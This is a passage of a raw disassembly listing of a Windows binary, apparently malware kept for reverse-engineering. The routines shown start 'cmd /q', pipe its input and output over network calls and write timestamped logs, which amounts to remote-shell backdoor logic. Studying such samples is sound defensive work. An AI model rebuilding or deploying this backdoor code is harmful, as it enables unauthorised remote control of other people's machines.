		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2660BD6h
		nop
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E598[eax], ecx
		nop
		call	near ptr 2660868h
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_434B6C
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi
		push	eax
		push	offset dword_434BAC
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB66C
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		nop
		call	near ptr 2770000h
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp

; ---------------------------------------------------------------------------
word_4111CE	dw 8B55h		; DATA XREF: sub_401ACD+2C08o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E59Ch,	50EC458Dh, 8015FF57h, 85004CB6h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0B868FFFFh, 500042BFh, 0A605E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
		dd 0A599E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF9DFBh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 13D36850h, 56560041h
		dd 26F35AE8h, 4D8B9002h, 34C969C8h, 3B000002h, 0A48189C6h
		dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0F2F8E890h
		dd 0EDEB0226h, 0FC47E890h, 8D500226h, 0FFFD2C85h, 4C1C68FFh
		dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
		dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
		dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
		dd 59FFFFA0h, 0E8905659h, 22CEC30h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E59Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
		dd 0FFFF9FC7h, 0E8905359h, 22CEBACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB66C15h,	7FC08500h, 0FF36FF18h
		dd 4CB6EC15h, 875FF00h,	0FF9F96E8h, 0E85359FFh,	22CEB7Ch
		dd 30BD8090h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh,	400h, 0FB38858Dh
		dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
		dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
		dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
		dd 0E5E89053h, 6A022CEAh, 0E8458D10h, 69E85053h, 660000A0h
		dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
		dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh,	8B004CB6h
		dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
		dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 0EA4EE853h, 8D90022Ch
		dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
		dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
		dd 5359FFFFh, 0E9DEE890h, 68022Ch, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F4FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0B6A415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
		dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h
		dd 0FF022CE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
		dd 69E89053h
		db 0E9h, 2Ch, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: ___:0041175Cj
					; ___:0041178Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C5:				; CODE XREF: ___:004116D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: ___:004116CAj
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116EA:				; CODE XREF: ___:004116D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB540
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: ___:0041171Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB540
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: ___:00411731j
					; ___:00411748j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411797	db 55h			; DATA XREF: sub_401ACD+210Eo
					; sub_40BACE+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	226EE5Ah
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
		dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
		dd 9BE5E8FFh, 5959FFFFh, 0E7CAE853h, 8D90022Ch,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E59CB0h, 0D4458D00h, 9D16E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
		dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
		dd 83004CB6h, 1975FFF8h, 138868h, 93E89000h, 0FF0226EDh
		dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0ED60E890h, 8D530226h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh
		dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF9AF6E8h, 1CC483FFh, 0D9E89053h, 8B022CE6h, 9F39087Dh
		dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch
		dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h
		dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh
		dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch
		dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h,	8300009Eh
		dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh
		dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h
		dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434D6Ch
		dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh
		dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF981Fh, 5E85359h, 90022CE4h,	3E868h
		dd 3FE89000h, 570226EAh, 0FFFB8AE8h, 5B5E5FFFh,	4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2770120h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_43554C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_42911C
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: ___:00411C74j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CF0
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43551C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: ___:00411CB7j
		xor	eax, eax


loc_411CF2:				; CODE XREF: ___:00411C79j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
byte_411CF5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4509o
		dd 8DCEC81h, 458B0000h,	57565308h, 0F724A583h, 6A00FFFFh
		dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
		dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
		dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h,	0F015FFF8h
		dd 0BB004CB5h, 200h, 0EFE8086Ah, 900226E8h, 0B5D815FFh
		dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
		dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh,	0FFFFFB24h
		dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
		dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
		dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
		dd 0A4C481h, 858D0000h,	0FFFFFB24h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h,	0F004CB5h
		dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
		dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
		dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
		dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h,	7DF6851Eh, 40FF832Eh
		dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
		dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
		dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
		dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
		dd 208300h, 0FD24858Dh,	0FF83FFFFh, 13755008h, 913FE8h
		dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
		dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
		dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
		dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
		dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
		dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
		dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
		dd 0EC810000h, 84h, 0FF24B58Dh,	858DFFFFh, 0FFFFFB24h
		dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
		dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
		dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
		dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
		dd 458B07EBh, 7C08308h,	24858D50h, 50FFFFFDh, 9F1BE8h
		dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
		dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
		dd 6A59FFh, 0E02AE890h
		db 2Ch,	2
word_411FD6	dw 8B55h		; DATA XREF: sub_401ACD+412Bo
		dd 2B4B8ECh, 3DE80001h,	8B00009Bh, 57560855h, 8B58016Ah
		dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h,	9082h
		dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h,	0C7660CC4h
		dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
		dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch,	89026A03h
		dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
		dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
		dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h,	5959FFFFh
		dd 0DF56E856h, 8B90022Ch, 106AD045h, 234C069h, 0B8890000h
		dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
		dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
		dd 97A2h, 390CC483h, 2075D875h,	4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
		dd 4CB6ECh, 0E8D075FFh,	0FFFF92EBh, 0E8905659h,	22CDED0h
		dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
		dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
		dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h,	75390CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
		dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
		dd 59FFFF92h, 4DE89056h, 53022CDEh, 4355A8BBh, 0FFFFBF00h
		dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
		dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
		dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h,	0FEFD5885h
		dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
		dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
